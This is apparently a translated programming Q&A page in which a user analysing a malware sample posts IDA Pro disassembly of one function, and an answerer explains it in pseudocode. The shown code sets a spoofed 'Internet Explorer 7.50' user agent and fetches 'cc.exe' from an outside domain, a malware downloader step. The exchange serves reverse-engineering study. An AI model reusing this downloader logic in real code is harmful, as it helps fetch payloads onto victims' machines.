Невозможно проанализировать характер функции в данной ячейке памяти

Я пытаюсь проанализировать вредоносное ПО в исполняемом файле. Я пытаюсь проанализировать характер функции в подпрограмме sub_401040. Когда я запустил его в IDA Pro, я получил код сборки, который выглядит примерно так, как показано ниже. Однако я немного смущен тем, что именно происходит в этой функции. Любая помощь будет высоко оценена!

Я понимаю, что подпрограмма 401040 имеет один параметр. Но я потерялся, пытаясь понять его функциональность или то, как используется параметр.

sub_401040 proc near

Buffer= dword ptr -230h
var_22C= byte ptr -22Ch
hFile= dword ptr -30h
hInternet= dword ptr -2Ch
szAgent= byte ptr -28h
dwNumberOfBytesRead= dword ptr -8
var_4= dword ptr -4
arg_0= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 230h
mov     eax, [ebp+arg_0]
push    eax
push    offset aInternetExplor ; "Internet Explorer 7.50/lol%d"
lea     ecx, [ebp+szAgent]
push    ecx             ; char *
call    _sprintf
add     esp, 0Ch
push    0               ; dwFlags
push    0               ; lpszProxyBypass
push    0               ; lpszProxy
push    0               ; dwAccessType
lea     edx, [ebp+szAgent]
push    edx             ; lpszAgent
call    ds:InternetOpenA
mov     [ebp+hInternet], eax
push    0               ; dwContext
push    0               ; dwFlags
push    0               ; dwHeadersLength
push    0               ; lpszHeaders
push    offset szUrl    ; "http://www.inactivedomain.com/cc.exe"
mov     eax, [ebp+hInternet]
push    eax             ; hInternet
call    ds:InternetOpenUrlA
mov     [ebp+hFile], eax
cmp     [ebp+hFile], 0
jnz     short loc_4010B1

person ramu ranga    schedule 31.10.2014    source источник


Ответы (1)


В основном, он делает это (псевдокод):

sprintf(szAgent, "Internet Explorer 7.50/lol%d", arg0);

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
// Initializes an application's use of the WinINet functions.
HINTERNET hInternet = InternetOpen(szAgent, 0, 0, 0, 0);

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx
// Opens a resource specified by a complete FTP or HTTP URL.
HINTERNET Return = InternetOpenUrl(hInternet, "http://www.inactivedomain.com/cc.exe", 0, 0, 0, 0 );

if (!Return)   // etc...
person Amadeus    schedule 14.11.2014